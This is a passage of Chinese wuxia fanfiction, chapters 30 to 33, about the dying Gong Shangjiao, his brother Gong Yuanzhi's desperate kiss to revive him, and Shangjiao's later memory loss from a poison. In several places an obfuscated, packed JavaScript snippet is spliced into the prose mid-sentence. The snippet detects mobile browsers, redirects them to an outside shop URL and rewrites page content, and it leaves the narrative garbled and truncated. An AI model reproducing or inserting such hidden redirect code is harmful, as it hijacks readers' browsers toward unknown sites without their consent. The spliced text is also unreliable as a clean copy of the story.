这于宫远徵而言可谓豁然开朗,他一拍大腿,叫道:“你是金凝,哥哥以前的侍卫金 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宫紫商起身卷起风帘,让彤云浮入宫尚角眼中:“他们说前几日一直下雨,今日却是难得的好天气。” 她又坐回榻前,轻轻晃了晃他的手臂:“你别睡呀,不然,我给你讲个故事?不过金繁总说我讲故事没个起承转合,也就哄哄孩子,你可不许嫌弃我!” 榻上人显然也在竭力维持着最后一丝清明,余晖在他苍白如纸的脸上映出唯一一抹暖光:“说说你们的成果吧……新火器,进展如何了?” 他已没什么力气抬头,宫紫商干脆搬了只交杌坐到榻首,示意金复端走那碗怎么也喝不下的粥:“……都到这个时候了,你真想听这些?” “姐姐知道,我是个无趣的人。”那话便又道得极度轻缓,却有拳拳心迹寓于其间,“我这一生别无所求,只盼宫门中兴,不负先辈所托……” 宫家大小姐蹙了眉,却时刻谨记金繁告诫的不要落泪。她努力忽略这告别陈词一般的自叙,拼命挤出三分笑颜:“好好好,你想听,那我就说: “我们根据雷家堡遗留的火器碎片重新改造了‘山摧’,经我爹之手,准头、速度和威力都有不小的提升。我来时原型初成,还未经调试,因此我只带了图纸。宫子羽说,既然雷家已是我们的正式盟友,或许可以直接拿着图纸过去讨教,双方受益,未尝不是件好事。但我想,我爹定然是不乐意的—— “你敢信?就为将机括引爆火药的时间再缩短一瞬,我爹让人抬着亲自跑了好几趟后山,别说是小花公子,花宫里的能工巧匠全被他得罪了个光!幸亏最终成功,否则商宫与花宫怕是要结下梁子了。” “……老宫主年轻时若有这般心气,又何愁过不了三域试炼呢?” “嘘!这话若是让我爹听到,管你是谁,他可是要蹦起来揍人的!” 两人相视一笑,宫紫商笑得尤为夸张。但周遭很快又静下来,忽然之间便静得只剩她一个人的呼吸。 炉火锻着残阳,心跳在灰烬里毕剥作响。宫紫商浑身僵硬地去寻脉门,直至那已近枯瘦的手终于动了动,微弱的哑音打破骇人的心慌:“姐姐,往后,宫门要拜托你了……” 宫紫商立即明白他在说什么,张口想要打断,却被对面灼灼的目光扼住了下颌。 “商宫有你和老宫主在,自然无需我指手画脚。老宫主那脾气你能忍则忍,只要他肯将一身本事倾囊相授,挨几顿骂都是小事。 “岚角跟随我多年,行事稳重周全,她执掌角宫我放心。只是她出身旁支,又是女子,即便是三位长老,也并非没有疑虑。这段时间我已尽量让她出头,但要完全服众,路还很长。日后若遇非难之时,还望姐姐施以援手,算我替整个角宫谢过姐姐这份恩情。 “至于,我们的执刃大人……子羽,他这人什么都好,就是耳根子太软,有时又太不自信。别人的话要听,但不能全听。从前是我在长老们面前当这‘坏人’,但往后,便只有……你和金繁了……” 宫尚角勉力喘息。这一大段话已竭尽他全部精力,他不得不停下来,轻轻合了眼睛。 暮色正浓,天边燃起火烧的云。赤朱丹彤绘作大暮的滥觞,是披肝沥胆、奋不顾身的气魄,是碧血丹心、至死不渝的底色——是牵肠挂肚、百转千回的温柔。 “还有……远徵……” “宫尚角!”两道声音震耳欲聋地响起,门外那个尤为撕心。 心心念念的人跌跌撞撞地冲进来,一遍又一遍喊出他的大名:“宫尚角!宫尚角!宫尚角!……” 他挣扎着看向他,再也说不出一个字。 30. 四十七 (四十七) “哥,如果——我说如果——如果我不是你的弟弟,你还愿意一直守着我么?” 第一次,是他试药时出了岔子,清醒时方知自己缠了哥哥一夜不肯撒手。他装作不经意地绞着手指,恨不得将头埋得低过尘埃。 十四岁的少年没能看见他哥哥脸上的窘迫,只感受到那只温热的手,带些迟疑抚平他额顶的毛躁:“……怎么会呢?你永远都会是我弟弟。” ——那就好。宽肩窄腰的哥哥真的很好抱,而哥哥的唇……软得好似两瓣诱人的蜜桃。 “哥,你说喜欢一个人,是不是就是这种滋味?” 第二次,是他咬着哥哥从京城带回来的贡糕。精致无比的糕点软糯黏牙,在他口腔中荡漾着直冲天灵盖的甜。 他脑袋一热,将咬了一半的饼餤塞进哥哥嘴里,害得从来滴水不漏的宫二先生破天荒将茶倒洒了半杯:“你才十五岁,整天脑子里都在想些什么呢!” ——算了,反正他一点也不喜欢吃甜的。反正,哥哥还是替他解决了那半块糕点。 “哥哥,我不做朗弟弟的替代品。” 第三次,是十六岁的上元节,他因修龙灯挨了哥哥的骂,孤身一人坐在角宫长阶尽头。 漫天的孔明灯亮如星斗,他支颐用不高不低的音量道出不高不低的心愿,知道哥哥其实就站在窗后。主室灯火彻夜未熄,他一直待到平明,待到金复走出来告诉他,他不是朗弟弟,不该动朗弟弟的东西。 ——可是他拿着朗弟弟的短刀,“霸占”着弟弟的名号。如果哥哥从未把他当成是朗弟弟,那在哥哥心里,他又是什么人呢? “但我不喜欢她们,我只喜欢你。” 第四次,是宫门迎来了选亲新娘。哥哥隔着茶案问他云为衫和上官浅谁更漂亮,他回答不出,哥哥便笑话他对风月之事懵懂无知。 他急于证明自己,鬼使神差地冒出这句,却被哥哥告诫要小心那两名女子,顾左右而言他地岔开话题。 ——他懂的,他怎么不懂呢?他从十四岁起年年说着‘我喜欢你’,如今都已这般直白了,哥哥为何还是听不懂呢? “真想把你永远留在我身边……” 第五次,是碎瓷片隔着半个庭院扎穿他的胸口。他独吞着咸腥苦涩的血沫,一时分不清是伤口痛还是心痛。 哥哥恨不得将半身内力输给了他,他受不了哥哥眼中满得快要溢出来的自责,更痛恨自己没有半分力气,无法立即爬起来与哥哥并肩。 ——他以为他不会放开他,可是他放开了他。他的心独属于他,他却不是他唯一的牵挂。 第六次,哥哥自昏迷中惊醒,追问他为何唤他的大名。他什么都没有说。 第七次,他得知玄丹真相,平生唯一一次朝他的哥哥宣泄怒火。可到头来,他什么都没有说…… 他们终于什么都不再说起,他与哥哥的距离被一再拉扯,似川西与巴东之间筑起的层峦叠嶂,直到一道峡江酝酿着一泻千里的急流,要将他们阴阳永隔。 当残阳细数临别的叮咛,未竟的牵挂撕裂掌心伤疤,他奋不顾身地喊着他的名字,如同孤悬江上的铁索,如同翻山越岭的藜杖,一声声翻过险嶂,一字字越过湍江。 “宫尚角!宫尚角!宫尚角!……” 泪自眼角滑落,悄无声息,滴落在他手背上。宫远徵怔怔摸了摸自己的脸,才意识到那滴泪不属于他。 他一把接住泪滴的主人,揽紧他已然瘦骨嶙峋的脊背,不管不顾,将贪婪炽烈的吻覆上那干涸苍白却同寤梦中一般柔软的唇—— 秩序在惊厥中崩圮,伦常在血液里咆哮。他失魂落魄地寻着哥哥失踪的气息,锲而不舍地延着他颈间筋骨一寸寸求索,直至掘出那道沉极无力的伏脉,匆忙撬开他的喉舌,将一口真气渡入他体内。 他的呼吸终于再度洒上他鼻尖,他的唇在他的唇上流连忘返。他睁开雾蒙蒙的眼睛看向他的泪眼婆娑,然后缓缓抬动颤抖的手,试图抹去他满脸的泪痕:“别再哭啦,你姐姐看着呢,丢不丢人?……” 他轻撇嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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长夜拉开帷幕,月出惊飞林鸟。高山仰止般的羸躯轰然坍塌,两道鸦青色的身影转瞬匿于黑夜。 宫门的执刃终于姗姗来迟,第一时间驱逐了人群。 “宫子羽,你最好给我一个解释!”那是角宫宫主失去意识前的切齿之言。 夔峡绝顶,梨溪镇的云家小姐自寒月下款款现身:“这下,徵公子走投无路了?” 31. 四十八 (四十八) 腊月二十五日,《江湖快报》以大幅版面登载白帝城小年夜诸事,略记于下: 宫门执刃宫子羽于祭礼之上连挑十数高手,承诺一月之内必破异化之乱。 雷家堡大当家雷重昭正式盟约,誓与宫门共抗无锋。 宫门叛徒宫远徵潜入白帝,与其兄角宫宫主宫尚角私相授受,被人撞破,行迹败露。宫尚角以身要挟,私纵姘弟。宫远徵随后逃脱,不知所踪。 其中最后一条格外突兀,登的却是头版,尤将两人之狎亵背德、宫尚角之膏肓昏愦描写得极为荒诞露骨,乃至次日,江湖上人人都在议论这桩谬闻。 ——高门秘辛,向来流传最快最广。 腊月二十八日,一蓝衣人自夔门下船,匆匆赶至白帝城别院。 “事情就是这样。执刃让徵公子现身,一是为演好这出叛逃的戏码,二则也实在是怕角公子再存死志。执刃虽与我们都通过气,但谁也不曾料到徵公子会突然如此,更没想到宫唤羽唯恐天下不乱,将事情捅出去……宫岚角已在着手处理,但要将此事压下来,只怕没那么容易。” 耳房中萦着药香,眉心点朱的蓝衣人坐在矮几前,出神地拈着一颗蜜饯。对面语声落下许久,他方才轻轻叹了口气:“他比我们,都要勇敢许多……” 他没有为这代称添上一个名字,但月长老很快明白他的意思:“敢踏碎你寒池雪莲的人,他怕过什么?只要他哥哥不死,他什么都不惧。” 雪公子将那颗蜜饯又放回盘子里:这东西又甜又酸,只有他那小书童才喜欢。如果他还在,嘴上定是骂着宫远徵行事妄诞、不计后果,可心里头却又对他佩服有加。 雪公子的唇边浮起一抹浅笑:“宫尚角呢?这下,死不了了?” 月长老并未解读那笑意,仍是紧锁眉心:“说得轻巧!若只这样就能不死,我也没必要写信让你千里迢迢赶过来。”他说罢便止不住地咳嗽,月白色的手帕很快沾上血迹。 雪公子连忙起身,将自己的大氅披给明显憔悴许多的故友:“你休息吧,别角公子还没死,你倒是先把自己累死了。我去看看他醒了没有。” 月长老忧心忡忡地点了点头:“他这几日脑子糊涂得厉害,执刃也不敢与他多说。你好言相劝,他或许能听你的。” “你是不了解他,还是不了解我?”雪公子却是不以为然地轻哼一声,“——若能被你我劝动,他就不是宫尚角。若他所求皆为宫门,我也没有理由不成全他。” * 白帝城南,巫山与奉节两县交界,峡江蜿蜒,两岸群峰竦峙,登绝顶可一览峡谷全貌,号称“三峡之巅”。而顺着峭壁间的危石鸟道,即可深入密林,穿梭于幽谷,这正是连通瞿塘峡与巫峡的一条险径。 三日前,“云为衫”月下现身指路:宫门之乱,无锋定会伺机而动。宫远徵叛出宫门,正是接近无锋首领的大好时机。 彼时真正的云为衫也在,提出异化源头就在无锋总部,宫子羽希望他再去一趟巫山深处,查明真相,寻求解法,破除宫门危局:“我们会在暗中助你,但要让无锋首领相信你真的已经走投无路,徵公子必须演好这场戏。” “你们,是指你和她?”宫远徵敏锐捕捉到关键信息,微微眯起眼睛。 “除掉无锋首领,才能真正摆脱掌控。我可不想成为下一个云雀。”双生之魉既已入局,便再无退路,这也是宫尚角当初做局时的筹谋。 于是数场交斗自山巅而始,这人迹罕至的深峡鸟道成了金窝,宫门的悬赏翻了一番,不知死活的亡命徒多出几倍不止。饶是宫远徵不曾让任何人讨到便宜,也不免添了一身大大小小的伤口。 待到几乎山穷水尽,他也掏空了暗器囊袋,这才有人从天而降,出手相救—— 红玉侍金凝击退最后一波赏金客,转头不无心疼地望向宫远徵手中四处开花的刀:“再锋利的兵刃也禁不起轮番苦战。再这么下去,角公子真的要骂人了……” * 巴东地界,远不如宫门后山雪宫那般苦寒,但蓝衣人此刻衣着单薄,甫一出门便被阴冷的江风激得打了个寒颤。 废去葬雪心经之后,他的身体并不好。他本以为自己这一辈子都不会离开旧尘山谷,也没有机会去看曾让他那小书童心向往之的花花世界,直到一封加急书信打破枕冷衾寒的雪夜。 他花了两日思索这是否算作弃他而去,待到下定决心与他道别,那漫天蜚语已如流星般砸向宫门。他便知道,这已然是他义不得辞之责。 空中忽然划过一道闪光,不知是谁提早放的烟火,在晦暗昏沉的白昼炸出几朵耀目的花焰——快过大年了。 他趁着硝烟未至,吸了口凉薄的空气,顺着曲曲折折的游廊步入内院。 “……宫子羽人呢?……我要见他……” 他早早听到另一人语,这个久违的声音却是直到近前才入耳际。 “你才刚醒,先把药吃了。” 这话说得不可谓不苦口婆心。 “……他不来见我……是不知该如何面对我……还是……怕我说他不想听的话?……” “他和紫商带着火器图纸去见雷重昭了。你再这样强撑,等下又得晕过去!” “……这种时候授人以柄……愚蠢至极……去把他们叫回来……” “宫尚角!现在到底谁是执刃?” “……” 屋内的争执蓦然一顿,蓝衣人在门口站定,才听清那一声叹息。曾经意气风发、乃至盛气凌人的声音如今缓慢而低沉,颤动的气音明示了他的痛苦,而这一声低叹,倾诉着不甘和委屈。 “抱歉,我不是……”金繁的态度迅速软下来。 宫尚角并不听他解释:“罢了……我不见他……你去将月长老请来……” “你!”金繁的声音中夹杂着想要强硬又不敢强硬的矛盾,“……你先吃药,好不好?” “……那我吃药,你去请月长老……” “宫尚角!” 他几乎要笑出声。宫尚角这个人啊……果然不出他所料。 “别折腾月长老了,有话与我说吧。”他终于下定决心推门进去,虽说已做了准备,还是被那人现在的样子吓了一跳。 而金繁看起来比他还要吃惊:“雪公子,你何时到的?外面情况如何?宫门中……” 金繁忽然噤声,榻上的人将不复清明的目光追过来,他逃不开那双幽邃的眼睛,终究开口道了实情:“我刚下船,白帝城外围得到处是人,流言四起,搬弄是非的人不在少数。我临走时宫门已收到消息,雪长老和花长老托我带了写给执刃大人的信,内容……如你们所想。” 他说着,将书信从竹匣中取出,随手丢入炉中:“这信我就不交给宫子羽了。只是,我想听听,角公子到底想说些什么。” * 赏金客已悉数退去,深峡幽谷又恢复寂静,只偶有猿啼声传来,带着冬日里特有的肃杀之气。 宫远徵浑不在意地将长刀插入石隙,取出手帕,一脸平静地擦拭着指尖血污:“我应得的。哥哥骂我,我便受着。” “他哪里舍得骂你啊,小祖宗!” 红玉侍苦笑一声,接过帕子,寻了岩壁间的清泉浸湿,替他清洗伤口。金凝犹记得上一次做这些事,面前的宫三公子还是个磕破膝盖会哭鼻子的小家伙,而自尚未及冠的角公子于月宫试炼中为他饮下蚀心之月,迩来已有十二年之久。 这些年,金凝与故主叙旧的机会并不多。即便宫尚角偶尔来到后山,有时甚至是特意与他相见,两人也多半只是简单交谈。——角宫的主人,向来不是一个善于表露情绪之人。 尤其是近四年,宫尚角出现的次数屈指可数,金凝许久不得音讯,再有消息,却惊闻他已病魔缠身。正当他左思右想,寻不到机会去一趟前山,一封亲笔手书送至他眼前:角公子请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240048|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他襄助羽公子,于花宫布阵,除掉雷陨。——病得朝不保夕的人,还是一心扑在宫门的事上。 赶来白帝城后,他只在他昏迷期间匆匆看过一眼,也不知现在到底怎样了…… 金凝仍细细处理着那些伤口。虽说都是些不打紧的外伤,但若不仔细包扎,也有这细皮嫩肉的小公子好受。他腕间的伤口应是被钩子一类的武器所伤,皮肉翻出,显得狰狞可怖,金凝点了上好的金疮药,尚未说出“可别留疤”之类的话,却无意间触到他掌心里的那道横亘的瘢痕。 “四年前我在深山看守陨铁,错过整场大战。但我听说过那些事……”他轻声说道,“徵公子可曾后悔过么?” 似已察觉到他话里有话,清创全程哼也不哼一声的宫远徵忽然抬起头:“只要哥哥活着,我为何要后悔?” “是啊,徵公子心性单纯,自不顾忌这些……”苦涩的药粉洒出,呛得金凝咧了咧嘴,“只是你可以不管不顾,甚至一走了之,角公子如今却被困在那病榻上……明枪暗箭,飞流短长,终究落到他一人头上。” 药粉很快沁入伤口深处,宫远徵浑身一震,定定看向哥哥曾经的绿玉侍:“吞吞吐吐半天,这就是你想说的话?” 金凝手上不停,只转了转眼,迎上少年人疲惫不堪却不失犀利的目光:“执刃派我来保护徵公子,我本不该多嘴。但我陪伴角公子长大,心知肚明他是个怎样的人——” “徵公子一念之私,却有没有想过,如今这局面,求活对角公子而言才是煎熬?即便充耳不闻外面的恶语中伤,也暂且不论还要受多少病痛折磨,你让他如何面对宫门上下?他往后又当如何自处?……角公子心中在意什么,徵公子当真不知么?” 宫远徵只消一瞬又被说红了眼睛,但他迅速而决然地抽身站定,发尾的铃铛伴着他的一举一动摇成一顶鸣钟:“第一,宫子羽答应我会照顾好哥哥。若是让半点污言秽语脏了哥哥的耳,我定然饶不了他!第二,你与哥哥分别十年,凭什么说你了解他?哥哥远比你想得更愿求活,你又怎知哥哥隐忍多年是为护我!……” 他双臂垂落,紧攥着拳头,肩头因情绪激动而发着抖,但话语中带着无比的果决:“他心里有我,他舍不得弃我而去,他盼着病愈之后与我长长久久!若是宫门当真容不下我们,这世道容不下我们,那时我便带着哥哥离开,再不让他受这腌臜不公的折辱!” “——但在此之前,我必须除掉无锋!哥哥说过,既然做了徵宫宫主,肩负的便是整个宫门。这是我的责任,也是哥哥心中最大的夙愿!” 金凝张着口听完,似乎想要答些什么,半晌竟无言以对。他本是有备而来,未料到面前的小公子将话道得如此霸道笃定,却也如此通透妥帖。他还当他是哥哥怀里任性撒娇的粉娃娃,却不知他早已长成心志坚定、有担当亦有能力庇护至亲挚爱的大人。 ——是啊,这可是被角公子亲手养大的孩子,心性又能差到哪里去呢? 宫远徵长长吐出口气,平复了情绪。他自行用手帕裹好伤口,将哥哥的刀收入鞘中,不加迟疑地踏上前程:“没时间耽搁了,哥哥还等着我陪他过年呢!” 金凝举步跟上去:那些赏金客吃了大亏,已不敢再轻易靠近,此处山深林密,他也没必要再遮掩踪迹。他是宫门后山的红玉侍首领,铲除无锋、消除危机自然也是他的责任。 “徵公子自是比我更了解角公子……”他开口承认,犹豫半晌,终将心中警言说了下去,“那么,以徵公子对角公子的了解,他真能安心躺在榻上,眼睁睁盼你回去么?” * 素笺落入炉底,转瞬被火舌吞没。 金繁突兀的声音赶在雪公子之前响起:“宫尚角你疯了?!” “……我撑不住了……你们想让我活下去,这是唯一的解法……” “可那也不能……” “……我本就毒入骨髓……不差这一点异化之毒……” 32. 四十九 (四十九) “如果说,我的内力,加上溯雪绝,还能助你再撑上一段时间呢?” 炭火烧得旺盛,阵阵热浪让人有些呼吸不畅。雪公子盯着目光迷离的宫尚角看了半晌,又转头望望大汗淋漓的金繁,不由得庆幸来前将大氅留在了月长老那里:“溯雪绝和苦寒三川经都是至阴心法,最忌燥热。地龙这种烧法,你们也不不怕烧死他?” 金繁一脸无辜地小声嘟囔:“他现在不知冷热,这不是怕他……” “……撑多久?”被讨论的正主用微弱的音量打断两人,“……一天?三天?……十天?……” “自然是,撑到我撑不住为止。”雪公子扭回头,金复正从他身后的火笼默默取走两块银炭,“整个宫门,修习过溯雪绝的不超五人,能为你续命的就我一个,否则雪长老也不会放我离开后山。” “……撑不住,会怎样?……” “我若撑不住,你自然是死了。” 榻上人看上去昏昏沉沉,可他不说话,反倒令讳言者无法继续隐瞒:“——放心,我不是月长老,没打算给你陪命,只是没了葬雪心经托底,我也很难再恢复原本的功力。当然还有另一种可能,你根本承受不住我的内力,在此之前便爆体而亡,那样我会受到反噬,幸运的话,也不会死。” 一个近乎于笑的气音。昏昧的天光在宫尚角脸上留下斑斑驳驳的影子。 “你觉得很荒谬?” “……角宫这样做生意……宫门,早就败光了……” “给自己下异化之毒就不荒谬么?” “……好歹,不必再连累别人……” “混账话!” 雪宫的宫主向来不形于色,眼下的迫切却已浮上眉睫:“我真不懂,你掏心掏肺为了宫门,千辛万苦熬到今日,一世英名敌不过风言风语,现下连死都不得安生……你图什么?” “……若能借此查明异化真相……那便值得……”正因如此,他才一定要见月长老。 雪公子被彻底气笑了:“那宫远徵呢?宫远徵又算什么?顶着天大的压力当了宫门‘叛徒’,到现在还消息全无。待他从无锋总部回来,发现他哥哥竟成了异化人,你怎么解释?——你让我们如何对得起他?” “……远徵他……去了无锋总部?!……”若非实在没有力气,宫尚角这句话该是吼出来的。 四道目光同时投向金繁,令后者顿时生出几分慌乱:“雪公子,你说你告诉他干什么……” 宫尚角躺不住了。金复手忙脚乱接住差点被掀翻的药碗,对着那一地触目惊心的鲜血颤声嗫嚅:“公子你别生气……执刃不让我们说,就是怕……” 雪公子眼疾手快将宫尚角按回榻上,以自身内力护住他的心脉:“止念!宫远徵死不了,你喘不上这口气可就真没了!” 宫尚角还没糊涂到不知利害,立即闭目调息。来自雪宫的至纯心法随着溯雪绝运转周身大穴,好半晌,总算让他平复些许。 “你们到底什么毛病!都这个节骨眼了,还以为瞒着就能万事大吉?”雪公子于百忙之中咬紧了后槽牙。 金繁灰头土脸地挨了骂,生怕打断两人的内息,自觉移向门口:“我这就去把执刃叫回来……” 宫尚角重新睁开眼。他还说不出话,噀血的殷红泛在眼眶中,无言昭示着他此刻唯一的执念。 雪公子了然叹了口气,叫住金繁:“你先去找月长老,告诉他做好准备。” 他撤去内息,扶稳那在奄奄一息之间仍没有一丝妥协的人,一字字说道:“就知道劝不动你,可有一条—— “你若变成那种东西,我会亲手了结了你!” * 腊月二十九日,宫门执刃夫人云为衫自奉节采买归来,大张旗鼓返回白帝。最初人皆以为是临时置办年货,直至目睹梓棺入城,这才恍然大悟是为谁准备,于是纷纷扼腕叹息。 同一时间,宫远徵避开众多耳目,自后墙外的深林翻入白帝城别院。宫子羽早早在此接应,见人一身狼狈,忙询问发生了什么、是否有恙。宫远徵轻描淡写交代了前情,又简要说了他与两个云为衫如何诱使无锋首领现身,说服他相信他们。 “这么说,你们还是没有见到无锋首领本人?” “是。他一直藏身暗处,借峡谷峭壁传声,别说身形样貌,连男女都无法分辨。我问过上官浅,先前审江辞时他也是这么说的,看来的确没人见过无锋首领的真面目。” “那你能确定他相信你了?” “有云为衫救场,应该不算露馅,只是……” 宫子羽已明白他要说什么, 担忧地皱了皱眉:“我知道,阿云被扣下了,回来的人不是她。” 宫远徵点点头,神色间除了疲惫亦多出几分焦虑:“金凝就在那附近守着,我已让他想办法接应。但想要完全取得无锋首领的信任,只怕有些麻烦……” “什么意思?” “他要我给哥哥下异化之毒!” 内院中似乎传来些动静,宫远徵警觉地顿住步子,没有注意宫子羽的面色忽然变得十分古怪。冬日庭树枝干稀疏,几乎令人无处遁形,但宫远徵实在太累,已顾不得这许多,便就地坐下,委身于树影:“若换作别的什么毒,我大可直接让哥哥假死脱身,唯有这异化之毒我全无头绪——现有事例都是死人复生,没人知道活人中了这毒会发生什么。我们骗不过无锋首领,可总不能真的给哥哥下毒吧?” “这个,远徵弟弟倒是不必太担心……”天上又稀稀落落滴下几点雨来,宫子羽做贼心虚地掸落肩头并不存在的雨水,没敢朝宫远徵的方向看,“你连日奔波,又受了伤,不如先好好睡上一觉。明日便是除夕,等过了年,我们再从长计议。” 宫远徵终于觉察出不对劲,“噌”得一下站起来:“我哥呢?我先去看过他才安心!” 宫子羽用半截身子拦住他的去路,低声做最终提醒:“我可以带你见他,但你最好换身衣服,做好准备再去……主要是,别吓着他……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240049|197686||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这违背常理的遣词令宫远徵心中警铃大作:“宫子羽,你到底干了什么?!” “别!我可做不出这种事!”宫子羽臊眉耷眼地拒绝宫远徵扣给他的罪状,将手一摊,索性不再隐瞒,“异化之毒影响的是人的脑子,他变成这样,你我都有责任……月长老说现有的情况维持不了多久,我们必须尽快找到解毒之法,否则他心智全失,可就麻烦了!” “——不过,就目前而言,对尚角哥哥或许并不完全是件坏事。” * 雨如悬线,宫尚角正站在内院当中,怔怔望天。 宫远徵使劲揉了揉眼——他没看错,他的哥哥虽然仍面色苍白、形销骨立,但的确是好端端地站在那里。而哥哥对面,依次站着雪公子、金繁、金复、宫岚角和宫岸角。每个人在看到他时,都露出了异样的神情。 宫尚角显然也察觉到他,慢慢将视线移过来——墨色瞳孔朦胧地映射着宫远徵自己的身影,以及他从未在哥哥眼中见到过的、如同看陌生人一般的迷茫和警惕。 雪公子递来一把多余的伞,意味深长地凝了宫远徵一眼,率先开口:“角公子,雨下大了,我们进去吧。” 金繁试探着向前迈了一步,语声姿态中带着安抚和诱哄:“是啊,你等的人也回来了。你先进屋去躺躺,好不好?” 宫尚角不理他们,瞬也不瞬地盯着青衣少年撑开伞,一步步朝他走近。 “我等的人……是你?”他的音调似乎比平时略高一些,整个人的气场也与素日里完全不同。 宫远徵小心翼翼地停在他身前,用伞填补两人之间的距离,以尽可能平稳柔和的目光与他交汇:“哥哥不记得我了么?” “哥哥?……” 宫尚角神色闪动,似在勉力回忆,两点细雨顺着伞骨,依次滑落他流畅挺拔的鼻峰:“是……朗弟弟?” 宫远徵的心随之坠入胃袋,但还不待作答,对面又兀自摇头否决了自己:“不,朗弟弟已经死了……” 他看见他的身形在风中摇曳,听见他埋藏在雨声中的哽咽。细密的针雨仿佛穿透油纸伞盖,氤氲的水雾瞬间在少年人的眼中漫溢。 宫尚角怔愣着后退一步,险些退入雨幕。执伞的手立即平伸过来,打伞的人不消片刻便被冷雨浇湿。 于是泪水混着雨水,越过壅塞的识海堤岸,冲破闸门,倾泻而下。宫远徵在模糊的知觉中感受到一只冰凉的手,试图用仅存的气力将他拉近。 “远徵?你是宫远徵,对吗?……”这一次,宫尚角的声音多了七分笃定,少了三分迟疑。 宫远徵情不自禁地冲进伞里,一把拥住他的哥哥,将头埋进那冷硬嶙峋却亲切熟稔的肩窝。 衰羸的躯体不堪重负地晃了晃:“你都……长这么大了么?”那声音透着几分艰涩,似乎在自责没有立即认出弟弟。 少年人将瘦劲有力的臂膀收紧:“是啊,我都这么大了呢……” “所以,从今往后,换我来保护你,好吗?” 33. 五十 (五十) 腊月三十,岁聿其暮。 冬日淫雨至午间方歇,白帝城内外的人们纷纷重新张灯结彩,放起扫晴的爆竹。 唯有偏居角落的白帝城别院紧闭门户,此生从未离开过旧尘山谷的宫门人们正会聚其间,并非饮酒作乐、互诉乡愁,而是苦心筹算着他们的未来。 宫尚角几乎一言未发。他只身坐在窗边,失神地望向窗外。 雨后天色空蒙,白日焰火接二连三窜入寂静庭院的篱墙。 宫远徵频频转头回顾,不时发出几声低叹。 十七岁离宫远徵并不算遥远,他还记得在那个被哥哥宠坏的年纪,自己过得有多么嚣张跋扈。而十七岁的宫尚角则还沉浸在丧母与丧弟之痛中,将宫门与无锋的血海深仇铭刻五内,时时谨记自己肩负着角宫宫主的重责。 所以,他一定要留在这里,而不是遵照他们的要求回屋休息,即便身体虚弱得随时可能晕过去,即便因为失去近乎半生的记忆和阅历,他们谈论的很多内容他都听不懂,即便在这锣鼓喧天的除夕,他的注意力早已不在这里。 ——能怎么办呢?他的哥哥现在只有十七岁而已。宫门的顶梁柱,江湖上威名赫赫的宫二先生,在十七岁这年,依然叛逆。 宫子羽同样在叹气。 除了宫门岌岌可危的江湖地位,以及仍在无锋首领手中生死未卜的阿云,宫尚角的状况也让他感到万分揪心:虽然身体的衰竭陷入了诡异的停滞,但异化之毒的侵蚀速度远超他们预想,才不过一夜,他差点又把他们忘了个干净。 当然这也怪不得他,在他十七岁那年,眼前这一群人要么还是小孩子,要么便守在后山闭门不出。除了宫紫商,只有宫唤羽的面容仍与他久远的记忆略相仿佛。否则,他们也不会放任宫唤羽留在这里。 ——宫子羽终于可以当一个“独断专权”的执刃了,十七岁的宫尚角不会对他的决定指手画脚。他只庆幸他的兄长现在是十七岁而不是七岁,这样在他们无法决断时,或许还能腆着脸与他商议商议。 宫尚角轻轻叹了口气。 他已数不清这是他们第多少次看向他了。不单单是他那转瞬成年的弟弟和莫名其妙成为执刃的宫子羽,还有面露沧桑、神色阴郁的宫唤羽,意外稳重又格外温柔的宫紫商……以及一些他对得上号或对不上号的陌生面孔。 他扭过脸,避开所有人的视线——他不是一具任人瞻观的人偶,更不是什么一碰即碎的瓷娃娃。他想不通为什么一夜之间,所有人都不再是他记忆中的模样,更不明白,为什么他们对待他的态度如此小心翼翼,看他的眼神又那般悲伤。 终于,他摇摇晃晃地站起来,推门迈向庭院。人们在他站起身那一刻便停止了交谈,门边的金复第一个赶上来,在门槛即将绊住他灌铅般沉重的步伐时把他扶住。他推开那个绿玉侍,踉踉跄跄继续向前,直至身子一软,跌进一个温暖而稳定的怀抱。 “感觉太闷了,是吗?”这声音与他的记忆仍有一线重合,不多不少,足以穿透他混沌的脑海,让他在灵光一闪之间认出他来。 他或许真的是病了,病得有些神志不清。印象中一手便能拦腰抱起的小人儿,正伸开修长的臂展,将他整个人环抱。 “要不,我们等到晚上?天黑之后烟花更热闹,等入了夜,我陪你去外面逛逛。” 他仍揽着他,没有撒手的意图,而他也没有挣扎。 “……不是悬赏千金的宫门‘叛徒’么?走到街上,就不怕被认出来吗?”他说得极认真,眉头隆起,蒙着思索之后的费解与忧虑。 众人骤然眼前一亮:原来他并不是什么都没有听进去。 少年人勾起唇,露出先知先觉的畅然,明眸中闪烁着狡黠的光:“所以才要等到晚上呀。” 没有人舍得在这一刻打扰两人,只有宫紫商敢。她本就对宫尚角这不顾自己也不顾他人的做法感到愤怒,更何况,他才十七岁,她可不怕他。 “哪都不许去!”她冲过来,叉起腰,换上一脸凶相,“都什么时候了还敢到处乱跑,不要命了?” 两个男孩立即像是做错了事的孩子,带着心虚和些许不忿对视一眼,各自偃旗息鼓。 “执刃。”宫尚角转头叫住结束观望、正打算回屋去的宫子羽,示意身边的弟弟先放开他,“关于你们刚才的讨论的事,我有个想法。” 